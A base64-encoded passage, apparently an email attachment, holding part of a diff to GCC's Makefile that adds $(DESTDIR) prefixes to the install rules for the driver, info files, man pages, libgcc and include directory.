SVIpJChsaWJzdWJkaXIpLyQkZmlsZTsgXA0KIAkgIGVsc2UgdHJ1ZTsgXA0K IAkgIGZpOyBcDQogCWRvbmUNCiAJZm9yIGZpbGUgaW4gJChFWFRSQV9QQVNT RVMpICQoRVhUUkFfUFJPR1JBTVMpICQoVVNFX0NPTExFQ1QyKSAuLjsgZG8g XA0KIAkgIGlmIFsgeCIkJGZpbGUiICE9IHguLiBdOyB0aGVuIFwNCi0JICAg IHJtIC1mICQobGlic3ViZGlyKS8kJGZpbGU7IFwNCi0JICAgICQoSU5TVEFM TF9QUk9HUkFNKSAkJGZpbGUgJChsaWJzdWJkaXIpLyQkZmlsZTsgXA0KKwkg ICAgcm0gLWYgJChERVNURElSKSQobGlic3ViZGlyKS8kJGZpbGU7IFwNCisJ ICAgICQoSU5TVEFMTF9QUk9HUkFNKSAkJGZpbGUgJChERVNURElSKSQobGli c3ViZGlyKS8kJGZpbGU7IFwNCiAJICBlbHNlIHRydWU7IGZpOyBcDQogCWRv bmUNCiAJZm9yIGZpbGUgaW4gJChFWFRSQV9QQVJUUykgLi47IGRvIFwNCiAJ ICBpZiBbIHgiJCRmaWxlIiAhPSB4Li4gXTsgdGhlbiBcDQotCSAgICBybSAt ZiAkKGxpYnN1YmRpcikvJCRmaWxlOyBcDQotCSAgICAkKElOU1RBTExfREFU QSkgJCRmaWxlICQobGlic3ViZGlyKS8kJGZpbGU7IFwNCi0JICAgIGNobW9k IGEteCAkKGxpYnN1YmRpcikvJCRmaWxlOyBcDQorCSAgICBybSAtZiAkKERF U1RESVIpJChsaWJzdWJkaXIpLyQkZmlsZTsgXA0KKwkgICAgJChJTlNUQUxM X0RBVEEpICQkZmlsZSAkKERFU1RESVIpJChsaWJzdWJkaXIpLyQkZmlsZTsg XA0KKwkgICAgY2htb2QgYS14ICQoREVTVERJUikkKGxpYnN1YmRpcikvJCRm aWxlOyBcDQogCSAgZWxzZSB0cnVlOyBmaTsgXA0KIAlkb25lDQogIyBEb24n dCBtZXNzIHdpdGggc3BlY3MgaWYgaXQgZG9lc24ndCBleGlzdCB5ZXQuDQog CS1pZiBbIC1mIHNwZWNzIF0gOyB0aGVuIFwNCi0JICBybSAtZiAkKGxpYnN1 YmRpcikvc3BlY3M7IFwNCi0JICAkKElOU1RBTExfREFUQSkgc3BlY3MgJChs aWJzdWJkaXIpL3NwZWNzOyBcDQotCSAgY2htb2QgYS14ICQobGlic3ViZGly KS9zcGVjczsgXA0KKwkgIHJtIC1mICQoREVTVERJUikkKGxpYnN1YmRpcikv c3BlY3M7IFwNCisJICAkKElOU1RBTExfREFUQSkgc3BlY3MgJChERVNURElS KSQobGlic3ViZGlyKS9zcGVjczsgXA0KKwkgIGNobW9kIGEteCAkKERFU1RE SVIpJChsaWJzdWJkaXIpL3NwZWNzOyBcDQogCWZpDQogIyBJbnN0YWxsIHBy b3RvaXplIGlmIGl0IHdhcyBjb21waWxlZC4NCiAJLWlmIFsgLWYgcHJvdG9p emUkKGV4ZWV4dCkgXTsgXA0KIAl0aGVuIFwNCiAJICAgIGlmIFsgLWYgZ2Nj LWNyb3NzJChleGVleHQpIF0gOyB0aGVuIFwNCi0JCXJtIC1mICQoYmluZGly KS8kKFBST1RPSVpFX0NST1NTX05BTUUpJChleGVleHQpOyBcDQotCQkkKElO U1RBTExfUFJPR1JBTSkgcHJvdG9pemUkKGV4ZWV4dCkgJChiaW5kaXIpLyQo UFJPVE9JWkVfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JCXJtIC1mICQo YmluZGlyKS8kKFVOUFJPVE9JWkVfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwN Ci0JCSQoSU5TVEFMTF9QUk9HUkFNKSB1bnByb3RvaXplJChleGVleHQpICQo YmluZGlyKS8kKFVOUFJPVE9JWkVfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwN CisJCXJtIC1mICQoREVTVERJUikkKGJpbmRpcikvJChQUk9UT0laRV9DUk9T U19OQU1FKSQoZXhlZXh0KTsgXA0KKwkJJChJTlNUQUxMX1BST0dSQU0pIHBy b3RvaXplJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJChQUk9UT0la RV9DUk9TU19OQU1FKSQoZXhlZXh0KTsgXA0KKwkJcm0gLWYgJChERVNURElS KSQoYmluZGlyKS8kKFVOUFJPVE9JWkVfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7 IFwNCisJCSQoSU5TVEFMTF9QUk9HUkFNKSB1bnByb3RvaXplJChleGVleHQp ICQoREVTVERJUikkKGJpbmRpcikvJChVTlBST1RPSVpFX0NST1NTX05BTUUp JChleGVleHQpOyBcDQogCSAgICBlbHNlIFwNCi0JCXJtIC1mICQoYmluZGly KS8kKFBST1RPSVpFX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JCSQo SU5TVEFMTF9QUk9HUkFNKSBwcm90b2l6ZSQoZXhlZXh0KSAkKGJpbmRpcikv JChQUk9UT0laRV9JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQotCQlybSAt ZiAkKGJpbmRpcikvJChVTlBST1RPSVpFX0lOU1RBTExfTkFNRSkkKGV4ZWV4 dCk7IFwNCi0JCSQoSU5TVEFMTF9QUk9HUkFNKSB1bnByb3RvaXplJChleGVl eHQpICQoYmluZGlyKS8kKFVOUFJPVE9JWkVfSU5TVEFMTF9OQU1FKSQoZXhl ZXh0KTsgXA0KKwkJcm0gLWYgJChERVNURElSKSQoYmluZGlyKS8kKFBST1RP SVpFX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwNCisJCSQoSU5TVEFMTF9Q Uk9HUkFNKSBwcm90b2l6ZSQoZXhlZXh0KSAkKERFU1RESVIpJChiaW5kaXIp LyQoUFJPVE9JWkVfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KKwkJcm0g LWYgJChERVNURElSKSQoYmluZGlyKS8kKFVOUFJPVE9JWkVfSU5TVEFMTF9O QU1FKSQoZXhlZXh0KTsgXA0KKwkJJChJTlNUQUxMX1BST0dSQU0pIHVucHJv dG9pemUkKGV4ZWV4dCkgJChERVNURElSKSQoYmluZGlyKS8kKFVOUFJPVE9J WkVfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KIAkgICAgZmkgOyBcDQot CSAgICBybSAtZiAkKGxpYnN1YmRpcikvU1lTQ0FMTFMuYy5YOyBcDQotCSAg ICAkKElOU1RBTExfREFUQSkgU1lTQ0FMTFMuYy5YICQobGlic3ViZGlyKS9T WVNDQUxMUy5jLlg7IFwNCi0JICAgIGNobW9kIGEteCAkKGxpYnN1YmRpcikv U1lTQ0FMTFMuYy5YOyBcDQorCSAgICBybSAtZiAkKERFU1RESVIpJChsaWJz dWJkaXIpL1NZU0NBTExTLmMuWDsgXA0KKwkgICAgJChJTlNUQUxMX0RBVEEp IFNZU0NBTExTLmMuWCAkKERFU1RESVIpJChsaWJzdWJkaXIpL1NZU0NBTExT LmMuWDsgXA0KKwkgICAgY2htb2QgYS14ICQoREVTVERJUikkKGxpYnN1YmRp cikvU1lTQ0FMTFMuYy5YOyBcDQogCWZpDQogIyBJbnN0YWxsIGdjb3YgaWYg aXQgd2FzIGNvbXBpbGVkLg0KIAktaWYgWyAtZiBnY292JChleGVleHQpIF07 IFwNCiAJdGhlbiBcDQotCSAgICBybSAtZiAkKGJpbmRpcikvZ2NvdiQoZXhl ZXh0KTsgXA0KLQkgICAgJChJTlNUQUxMX1BST0dSQU0pIGdjb3YkKGV4ZWV4 dCkgJChiaW5kaXIpLyQoR0NPVl9JTlNUQUxMX05BTUUpJChleGVleHQpOyBc DQorCSAgICBybSAtZiAkKERFU1RESVIpJChiaW5kaXIpL2djb3YkKGV4ZWV4 dCk7IFwNCisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnY292JChleGVleHQp ICQoREVTVERJUikkKGJpbmRpcikvJChHQ09WX0lOU1RBTExfTkFNRSkkKGV4 ZWV4dCk7IFwNCiAJZmkNCi0JJChJTlNUQUxMX1NDUklQVCkgZ2NjYnVnICQo YmluZGlyKS8kKEdDQ0JVR19JTlNUQUxMX05BTUUpDQorCSQoSU5TVEFMTF9T Q1JJUFQpIGdjY2J1ZyAkKERFU1RESVIpJChiaW5kaXIpLyQoR0NDQlVHX0lO U1RBTExfTkFNRSkNCiANCiAjIEluc3RhbGwgdGhlIGRyaXZlciBwcm9ncmFt IGFzICQodGFyZ2V0X2FsaWFzKS1nY2MsIA0KICMgJCh0YXJnZXQtYWxpYXMp LWdjYy0kKHZlcnNpb24pDQogIyBhbmQgYWxzbyBhcyBlaXRoZXIgZ2NjIChp ZiBuYXRpdmUpIG9yICQoZ2NjX3Rvb2xkaXIpL2Jpbi9nY2MuDQogaW5zdGFs bC1kcml2ZXI6IGluc3RhbGxkaXJzIHhnY2MkKGV4ZWV4dCkNCiAJLWlmIFsg LWYgZ2NjLWNyb3NzJChleGVleHQpIF0gOyB0aGVuIFwNCi0JICBybSAtZiAk KGJpbmRpcikvJChHQ0NfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JICAk KElOU1RBTExfUFJPR1JBTSkgZ2NjLWNyb3NzJChleGVleHQpICQoYmluZGly KS8kKEdDQ19DUk9TU19OQU1FKSQoZXhlZXh0KTsgXA0KLQkgIHJtIC1mICQo YmluZGlyKS8kKHRhcmdldF9hbGlhcyktZ2NjLSQodmVyc2lvbik7IFwNCi0J ICAkKExOKSAkKGJpbmRpcikvJChHQ0NfQ1JPU1NfTkFNRSkkKGV4ZWV4dCkg JChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nY2MtJCh2ZXJzaW9uKSA7IFwN Ci0JICBpZiBbIC1kICQoZ2NjX3Rvb2xkaXIpL2Jpbi8uIF0gOyB0aGVuIFwN Ci0JICAgIHJtIC1mICQoZ2NjX3Rvb2xkaXIpL2Jpbi9nY2MkKGV4ZWV4dCk7 IFwNCi0JICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnY2MtY3Jvc3MkKGV4ZWV4 dCkgJChnY2NfdG9vbGRpcikvYmluL2djYyQoZXhlZXh0KTsgXA0KKwkgIHJt IC1mICQoREVTVERJUikkKGJpbmRpcikvJChHQ0NfQ1JPU1NfTkFNRSkkKGV4 ZWV4dCk7IFwNCisJICAkKElOU1RBTExfUFJPR1JBTSkgZ2NjLWNyb3NzJChl eGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJChHQ0NfQ1JPU1NfTkFNRSkk KGV4ZWV4dCk7IFwNCisJICBybSAtZiAkKERFU1RESVIpJChiaW5kaXIpLyQo dGFyZ2V0X2FsaWFzKS1nY2MtJCh2ZXJzaW9uKTsgXA0KKwkgICggY2QgJChE RVNURElSKSQoYmluZGlyKSAmJiBcDQorCSAgICAkKExOKSAkKEdDQ19DUk9T U19OQU1FKSQoZXhlZXh0KSAkKHRhcmdldF9hbGlhcyktZ2NjLSQodmVyc2lv bikgKTsgXA0KKwkgIGlmIFsgLWQgJChERVNURElSKSQoZ2NjX3Rvb2xkaXIp L2Jpbi8uIF0gOyB0aGVuIFwNCisJICAgIHJtIC1mICQoREVTVERJUikkKGdj Y190b29sZGlyKS9iaW4vZ2NjJChleGVleHQpOyBcDQorCSAgICAkKElOU1RB TExfUFJPR1JBTSkgZ2NjLWNyb3NzJChleGVleHQpICQoREVTVERJUikkKGdj Y190b29sZGlyKS9iaW4vZ2NjJChleGVleHQpOyBcDQogCSAgZWxzZSB0cnVl OyBmaTsgXA0KIAllbHNlIFwNCi0JICBybSAtZiAkKGJpbmRpcikvJChHQ0Nf SU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KLQkgICQoSU5TVEFMTF9QUk9H UkFNKSB4Z2NjJChleGVleHQpICQoYmluZGlyKS8kKEdDQ19JTlNUQUxMX05B TUUpJChleGVleHQpOyBcDQotCSAgcm0gLWYgJChiaW5kaXIpLyQodGFyZ2V0 X2FsaWFzKS1nY2MtJCh2ZXJzaW9uKTsgXA0KLQkgICQoTE4pICQoYmluZGly KS8kKEdDQ19JTlNUQUxMX05BTUUpJChleGVleHQpICQoYmluZGlyKS8kKHRh cmdldF9hbGlhcyktZ2NjLSQodmVyc2lvbikgOyBcDQotCSAgcm0gLWYgJChi aW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nY2MtdG1wJChleGVleHQpOyBcDQot CSAgJChMTikgJChiaW5kaXIpLyQoR0NDX0lOU1RBTExfTkFNRSkkKGV4ZWV4 dCkgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nY2MtdG1wJChleGVleHQp OyBcDQotCSAgbXYgJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nY2MtdG1w JChleGVleHQpICQoYmluZGlyKS8kKEdDQ19UQVJHRVRfSU5TVEFMTF9OQU1F KSQoZXhlZXh0KTsgXA0KKwkgIHJtIC1mICQoREVTVERJUikkKGJpbmRpcikv JChHQ0NfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KKwkgICQoSU5TVEFM TF9QUk9HUkFNKSB4Z2NjJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikv JChHQ0NfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KKwkgIHJtIC1mICQo REVTVERJUikkKGJpbmRpcikvJCh0YXJnZXRfYWxpYXMpLWdjYy0kKHZlcnNp b24pOyBcDQorCSAgKCBjZCAkKERFU1RESVIpJChiaW5kaXIpICYmIFwNCisJ ICAgICQoTE4pICQoR0NDX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCkgJCh0YXJn ZXRfYWxpYXMpLWdjYy0kKHZlcnNpb24pICk7IFwNCisJICBybSAtZiAkKERF U1RESVIpJChiaW5kaXIpLyQodGFyZ2V0X2FsaWFzKS1nY2MtdG1wJChleGVl eHQpOyBcDQorCSAgKCBjZCAkKERFU1RESVIpJChiaW5kaXIpICYmIFwNCisJ ICAgICQoTE4pICQoR0NDX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCkgJCh0YXJn ZXRfYWxpYXMpLWdjYy10bXAkKGV4ZWV4dCkgJiYgXA0KKwkgICAgbXYgLWYg JCh0YXJnZXRfYWxpYXMpLWdjYy10bXAkKGV4ZWV4dCkgJChHQ0NfVEFSR0VU X0lOU1RBTExfTkFNRSkkKGV4ZWV4dCkgKTsgXA0KIAlmaQ0KIA0KICMgSW5z dGFsbCB0aGUgaW5mbyBmaWxlcy4NCiAjICQoSU5TVEFMTF9EQVRBKSBtaWdo dCBiZSBhIHJlbGF0aXZlIHBhdGhuYW1lLCBzbyB3ZSBjYW4ndCBjZCBpbnRv IHNyY2Rpcg0KICMgdG8gZG8gdGhlIGluc3RhbGwuDQogaW5zdGFsbC1pbmZv OiBkb2MgaW5zdGFsbGRpcnMgbGFuZy5pbnN0YWxsLWluZm8NCi0JLXJtIC1m ICQoaW5mb2RpcikvY3BwLmluZm8qICQoaW5mb2RpcikvZ2NjLmluZm8qDQot CS1ybSAtZiAkKGluZm9kaXIpL2NwcGludGVybmFscy5pbmZvKiAkKGluZm9k aXIpL2djY2ludC5pbmZvKg0KKwktcm0gLWYgJChERVNURElSKSQoaW5mb2Rp cikvY3BwLmluZm8qICQoREVTVERJUikkKGluZm9kaXIpL2djYy5pbmZvKg0K Kwktcm0gLWYgJChERVNURElSKSQoaW5mb2RpcikvY3BwaW50ZXJuYWxzLmlu Zm8qICQoREVTVERJUikkKGluZm9kaXIpL2djY2ludC5pbmZvKg0KIAlpZiBb IC1mICQoZG9jZGlyKS9nY2MuaW5mbyBdOyB0aGVuIFwNCiAJICBmb3IgZiBp biAkKGRvY2RpcikvY3BwLmluZm8qICQoZG9jZGlyKS9nY2MuaW5mbyogXA0K IAkJJChkb2NkaXIpL2NwcGludGVybmFscy5pbmZvKiAkKGRvY2RpcikvZ2Nj aW50LmluZm8qOyBkbyBcDQogCSAgICByZWFsZmlsZT1gZWNobyAkJGYgfCBz ZWQgLWUgJ3N8LiovXChbXi9dKlwpJCR8XDF8J2A7IFwNCi0JICAgICQoSU5T VEFMTF9EQVRBKSAkJGYgJChpbmZvZGlyKS8kJHJlYWxmaWxlOyBcDQorCSAg ICAkKElOU1RBTExfREFUQSkgJCRmICQoREVTVERJUikkKGluZm9kaXIpLyQk cmVhbGZpbGU7IFwNCiAJICBkb25lOyBcDQogCWVsc2UgdHJ1ZTsgZmkNCiAJ LWlmICQoU0hFTEwpIC1jICdpbnN0YWxsLWluZm8gLS12ZXJzaW9uJyA+L2Rl di9udWxsIDI+JjE7IHRoZW4gXA0KLQkgIGlmIFsgLWYgJChpbmZvZGlyKS9k aXIgXSA7IHRoZW4gXA0KKwkgIGlmIFsgLWYgJChERVNURElSKSQoaW5mb2Rp cikvZGlyIF0gOyB0aGVuIFwNCiAJICAgIGZvciBmIGluIGNwcC5pbmZvIGdj Yy5pbmZvIGdjY2ludC5pbmZvIGNwcGludGVybmFscy5pbmZvOyBkbyBcDQot CQlpZiBbIC1mICQoaW5mb2RpcikvJCRmIF07IHRoZW4gXA0KLQkJICBpbnN0 YWxsLWluZm8gLS1kaXItZmlsZT0kKGluZm9kaXIpL2RpciAkKGluZm9kaXIp LyQkZjsgXA0KKwkJaWYgWyAtZiAkKERFU1RESVIpJChpbmZvZGlyKS8kJGYg XTsgdGhlbiBcDQorCQkgIGluc3RhbGwtaW5mbyAtLWRpci1maWxlPSQoREVT VERJUikkKGluZm9kaXIpL2RpciAkKERFU1RESVIpJChpbmZvZGlyKS8kJGY7 IFwNCiAJCWVsc2UgdHJ1ZTsgZmk7IFwNCiAJICAgIGRvbmU7IFwNCiAJICBl bHNlIHRydWU7IGZpOyBcDQogCWVsc2UgdHJ1ZTsgZmk7DQotCS1jaG1vZCBh LXggJChpbmZvZGlyKS9jcHAuaW5mbyogJChpbmZvZGlyKS9nY2MuaW5mbyoN Ci0JLWNobW9kIGEteCAkKGluZm9kaXIpL2NwcGludGVybmFscy5pbmZvKiAk KGluZm9kaXIpL2djY2ludC5pbmZvKg0KKwktY2htb2QgYS14ICQoREVTVERJ UikkKGluZm9kaXIpL2NwcC5pbmZvKiAkKERFU1RESVIpJChpbmZvZGlyKS9n Y2MuaW5mbyoNCisJLWNobW9kIGEteCAkKERFU1RESVIpJChpbmZvZGlyKS9j cHBpbnRlcm5hbHMuaW5mbyogJChERVNURElSKSQoaW5mb2RpcikvZ2NjaW50 LmluZm8qDQogDQogIyBJbnN0YWxsIHRoZSBtYW4gcGFnZXMuDQogaW5zdGFs bC1tYW46IGluc3RhbGxkaXJzICQoR0VORVJBVEVEX01BTlBBR0VTKSBsYW5n Lmluc3RhbGwtbWFuDQogCS1pZiBbIC1mIGdjYy1jcm9zcyQoZXhlZXh0KSBd IDsgdGhlbiBcDQotCSAgcm0gLWYgJChtYW4xZGlyKS8kKEdDQ19DUk9TU19O QU1FKSQobWFuMWV4dCk7IFwNCi0JICAkKElOU1RBTExfREFUQSkgJChkb2Nk aXIpL2djYy4xICQobWFuMWRpcikvJChHQ0NfQ1JPU1NfTkFNRSkkKG1hbjFl eHQpOyBcDQotCSAgY2htb2QgYS14ICQobWFuMWRpcikvJChHQ0NfQ1JPU1Nf TkFNRSkkKG1hbjFleHQpOyBcDQorCSAgcm0gLWYgJChERVNURElSKSQobWFu MWRpcikvJChHQ0NfQ1JPU1NfTkFNRSkkKG1hbjFleHQpOyBcDQorCSAgJChJ TlNUQUxMX0RBVEEpICQoZG9jZGlyKS9nY2MuMSAkKERFU1RESVIpJChtYW4x ZGlyKS8kKEdDQ19DUk9TU19OQU1FKSQobWFuMWV4dCk7IFwNCisJICBjaG1v ZCBhLXggJChERVNURElSKSQobWFuMWRpcikvJChHQ0NfQ1JPU1NfTkFNRSkk KG1hbjFleHQpOyBcDQogCWVsc2UgXA0KLQkgIHJtIC1mICQobWFuMWRpcikv JChHQ0NfSU5TVEFMTF9OQU1FKSQobWFuMWV4dCk7IFwNCi0JICAkKElOU1RB TExfREFUQSkgJChkb2NkaXIpL2djYy4xICQobWFuMWRpcikvJChHQ0NfSU5T VEFMTF9OQU1FKSQobWFuMWV4dCk7IFwNCi0JICBjaG1vZCBhLXggJChtYW4x ZGlyKS8kKEdDQ19JTlNUQUxMX05BTUUpJChtYW4xZXh0KTsgXA0KKwkgIHJt IC1mICQoREVTVERJUikkKG1hbjFkaXIpLyQoR0NDX0lOU1RBTExfTkFNRSkk KG1hbjFleHQpOyBcDQorCSAgJChJTlNUQUxMX0RBVEEpICQoZG9jZGlyKS9n Y2MuMSAkKERFU1RESVIpJChtYW4xZGlyKS8kKEdDQ19JTlNUQUxMX05BTUUp JChtYW4xZXh0KTsgXA0KKwkgIGNobW9kIGEteCAkKERFU1RESVIpJChtYW4x ZGlyKS8kKEdDQ19JTlNUQUxMX05BTUUpJChtYW4xZXh0KTsgXA0KIAlmaQ0K LQktcm0gLWYgJChtYW4xZGlyKS9jcHAkKG1hbjFleHQpDQotCS0kKElOU1RB TExfREFUQSkgJChkb2NkaXIpL2NwcC4xICQobWFuMWRpcikvY3BwJChtYW4x ZXh0KQ0KLQktY2htb2QgYS14ICQobWFuMWRpcikvY3BwJChtYW4xZXh0KQ0K LQktcm0gLWYgJChtYW4xZGlyKS9nY292JChtYW4xZXh0KQ0KLQktJChJTlNU QUxMX0RBVEEpICQoZG9jZGlyKS9nY292LjEgJChtYW4xZGlyKS9nY292JCht YW4xZXh0KQ0KLQktY2htb2QgYS14ICQobWFuMWRpcikvZ2NvdiQobWFuMWV4 dCkNCi0JLXJtIC1mICQobWFuN2RpcikvZnNmLWZ1bmRpbmckKG1hbjdleHQp DQotCS0kKElOU1RBTExfREFUQSkgJChkb2NkaXIpL2ZzZi1mdW5kaW5nLjcg JChtYW43ZGlyKS9mc2YtZnVuZGluZyQobWFuN2V4dCkNCi0JLWNobW9kIGEt eCAkKG1hbjdkaXIpL2ZzZi1mdW5kaW5nJChtYW43ZXh0KQ0KLQktcm0gLWYg JChtYW43ZGlyKS9nZmRsJChtYW43ZXh0KQ0KLQktJChJTlNUQUxMX0RBVEEp ICQoZG9jZGlyKS9nZmRsLjcgJChtYW43ZGlyKS9nZmRsJChtYW43ZXh0KQ0K LQktY2htb2QgYS14ICQobWFuN2RpcikvZ2ZkbCQobWFuN2V4dCkNCi0JLXJt IC1mICQobWFuN2RpcikvZ3BsJChtYW43ZXh0KQ0KLQktJChJTlNUQUxMX0RB VEEpICQoZG9jZGlyKS9ncGwuNyAkKG1hbjdkaXIpL2dwbCQobWFuN2V4dCkN Ci0JLWNobW9kIGEteCAkKG1hbjdkaXIpL2dwbCQobWFuN2V4dCkNCisJLXJt IC1mICQoREVTVERJUikkKG1hbjFkaXIpL2NwcCQobWFuMWV4dCkNCisJLSQo SU5TVEFMTF9EQVRBKSAkKGRvY2RpcikvY3BwLjEgJChERVNURElSKSQobWFu MWRpcikvY3BwJChtYW4xZXh0KQ0KKwktY2htb2QgYS14ICQoREVTVERJUikk KG1hbjFkaXIpL2NwcCQobWFuMWV4dCkNCisJLXJtIC1mICQoREVTVERJUikk KG1hbjFkaXIpL2djb3YkKG1hbjFleHQpDQorCS0kKElOU1RBTExfREFUQSkg JChkb2NkaXIpL2djb3YuMSAkKERFU1RESVIpJChtYW4xZGlyKS9nY292JCht YW4xZXh0KQ0KKwktY2htb2QgYS14ICQoREVTVERJUikkKG1hbjFkaXIpL2dj b3YkKG1hbjFleHQpDQorCS1ybSAtZiAkKERFU1RESVIpJChtYW43ZGlyKS9m c2YtZnVuZGluZyQobWFuN2V4dCkNCisJLSQoSU5TVEFMTF9EQVRBKSAkKGRv Y2RpcikvZnNmLWZ1bmRpbmcuNyAkKERFU1RESVIpJChtYW43ZGlyKS9mc2Yt ZnVuZGluZyQobWFuN2V4dCkNCisJLWNobW9kIGEteCAkKERFU1RESVIpJCht YW43ZGlyKS9mc2YtZnVuZGluZyQobWFuN2V4dCkNCisJLXJtIC1mICQoREVT VERJUikkKG1hbjdkaXIpL2dmZGwkKG1hbjdleHQpDQorCS0kKElOU1RBTExf REFUQSkgJChkb2NkaXIpL2dmZGwuNyAkKERFU1RESVIpJChtYW43ZGlyKS9n ZmRsJChtYW43ZXh0KQ0KKwktY2htb2QgYS14ICQoREVTVERJUikkKG1hbjdk aXIpL2dmZGwkKG1hbjdleHQpDQorCS1ybSAtZiAkKERFU1RESVIpJChtYW43 ZGlyKS9ncGwkKG1hbjdleHQpDQorCS0kKElOU1RBTExfREFUQSkgJChkb2Nk aXIpL2dwbC43ICQoREVTVERJUikkKG1hbjdkaXIpL2dwbCQobWFuN2V4dCkN CisJLWNobW9kIGEteCAkKERFU1RESVIpJChtYW43ZGlyKS9ncGwkKG1hbjdl eHQpDQogDQogIyBJbnN0YWxsIHRoZSBsaWJyYXJ5Lg0KIGluc3RhbGwtbGli Z2NjOiBsaWJnY2MubWsgbGliZ2NjLmEgaW5zdGFsbGRpcnMNCkBAIC0yOTMx LDYgKzI5MjIsNyBAQA0KIAkgIE1BS0VPVkVSUklERVM9IFwNCiAJICBJTlNU QUxMX0RBVEE9IiQoSU5TVEFMTF9EQVRBKSIgXA0KIAkgIFJBTkxJQl9GT1Jf VEFSR0VUPSIkJHJfZl90IiBcDQorCSAgREVTVERJUj0iJChERVNURElSKSIg XA0KIAkgIGxpYnN1YmRpcj0iJChsaWJzdWJkaXIpIiBcDQogCSAgc2xpYmRp cj0iJChzbGliZGlyKSIgXA0KIAkgIC1mIGxpYmdjYy5tayBpbnN0YWxsDQpA QCAtMjk1Nyw2ICsyOTQ5LDcgQEANCiAJICBNQUtFT1ZFUlJJREVTPSBcDQog CSAgSU5TVEFMTF9EQVRBPSIkKElOU1RBTExfREFUQSkiIFwNCiAJICBSQU5M SUJfRk9SX1RBUkdFVD0iJCRyX2ZfdCIgXA0KKwkgIERFU1RESVI9IiQoREVT VERJUikiIFwNCiAJICBsaWJzdWJkaXI9IiQobGlic3ViZGlyKSIgXA0KIAkg IHNsaWJkaXI9IiQoc2xpYmRpcikiIFwNCiAJICAtZiBsaWJnY2MubWsgaW5z dGFsbA0KQEAgLTI5NjYsMjMgKzI5NTksMjMgQEANCiAjIEZpeCBzeW1saW5r cyB0byBhYnNvbHV0ZSBwYXRocyBpbiB0aGUgaW5zdGFsbGVkIGluY2x1ZGUg ZGlyZWN0b3J5IHRvDQogIyBwb2ludCB0byB0aGUgaW5zdGFsbGVkIGRpcmVj dG9yeSwgbm90IHRoZSBidWlsZCBkaXJlY3RvcnkuDQogIyBEb24ndCBuZWVk IHRvIHVzZSBMTl9TIGhlcmUgc2luY2Ugd2UgcmVhbGx5IGRvIG5lZWQgbG4g LXMgYW5kIG5vIHN1YnN0aXR1dGVzLg0KLQktZmlsZXM9YGNkICQobGlic3Vi ZGlyKS9pbmNsdWRlOyBmaW5kIC4gLXR5cGUgbCAtcHJpbnQgMj4vZGV2L251 bGxgOyBcDQorCS1maWxlcz1gY2QgJChERVNURElSKSQobGlic3ViZGlyKS9p bmNsdWRlOyBmaW5kIC4gLXR5cGUgbCAtcHJpbnQgMj4vZGV2L251bGxgOyBc DQogCWlmIFsgJCQ/IC1lcSAwIF07IHRoZW4gXA0KIAkgIGRpcj1gY2QgaW5j bHVkZTsgJHtQV0R9YDsgXA0KIAkgIGZvciBpIGluICQkZmlsZXM7IGRvIFwN Ci0JICAgIGRlc3Q9YGxzIC1sZCAkKGxpYnN1YmRpcikvaW5jbHVkZS8kJGkg fCBzZWQgLW4gJ3MvLiotPiAvL3AnYDsgXA0KKwkgICAgZGVzdD1gbHMgLWxk ICQoREVTVERJUikkKGxpYnN1YmRpcikvaW5jbHVkZS8kJGkgfCBzZWQgLW4g J3MvLiotPiAvL3AnYDsgXA0KIAkgICAgaWYgZXhwciAiJCRkZXN0IiA6ICIk JGRpci4qIiA+IC9kZXYvbnVsbDsgdGhlbiBcDQotCSAgICAgIHJtIC1mICQo bGlic3ViZGlyKS9pbmNsdWRlLyQkaTsgXA0KLQkgICAgICBsbiAtcyBgZWNo byAkJGkgfCBzZWQgInN8L1teL10qfC8uLnxnIiB8IHNlZCAnc3wvLi4kJHx8 J2BgZWNobyAiJCRkZXN0IiB8IHNlZCAic3wkJGRpcnx8ImAgJChsaWJzdWJk aXIpL2luY2x1ZGUvJCRpOyBcDQorCSAgICAgIHJtIC1mICQoREVTVERJUikk KGxpYnN1YmRpcikvaW5jbHVkZS8kJGk7IFwNCisJICAgICAgbG4gLXMgYGVj aG8gJCRpIHwgc2VkICJzfC9bXi9dKnwvLi58ZyIgfCBzZWQgJ3N8Ly4uJCR8 fCdgYGVjaG8gIiQkZGVzdCIgfCBzZWQgInN8JCRkaXJ8fCJgICQoREVTVERJ UikkKGxpYnN1YmRpcikvaW5jbHVkZS8kJGk7IFwNCiAJICAgIGZpOyBcDQog CSAgZG9uZTsgXA0KIAlmaQ0KIA0KICMgQ3JlYXRlIG9yIHJlY3JlYXRlIHRo ZSBnY2MgcHJpdmF0ZSBpbmNsdWRlIGZpbGUgZGlyZWN0b3J5Lg0KIGluc3Rh bGwtaW5jbHVkZS1kaXI6IGluc3RhbGxkaXJzDQotCS1ybSAtcmYgJChsaWJz dWJkaXIpL2luY2x1ZGUNCi0JbWtkaXIgJChsaWJzdWJkaXIpL2luY2x1ZGUN Ci0JLWNobW9kIGErcnggJChsaWJzdWJkaXIpL2luY2x1ZGUNCisJLXJtIC1y ZiAkKERFU1RESVIpJChsaWJzdWJkaXIpL2luY2x1ZGUNCisJbWtkaXIgJChE RVNURElSKSQobGlic3ViZGlyKS9pbmNsdWRlDQorCS1jaG1vZCBhK3J4ICQo 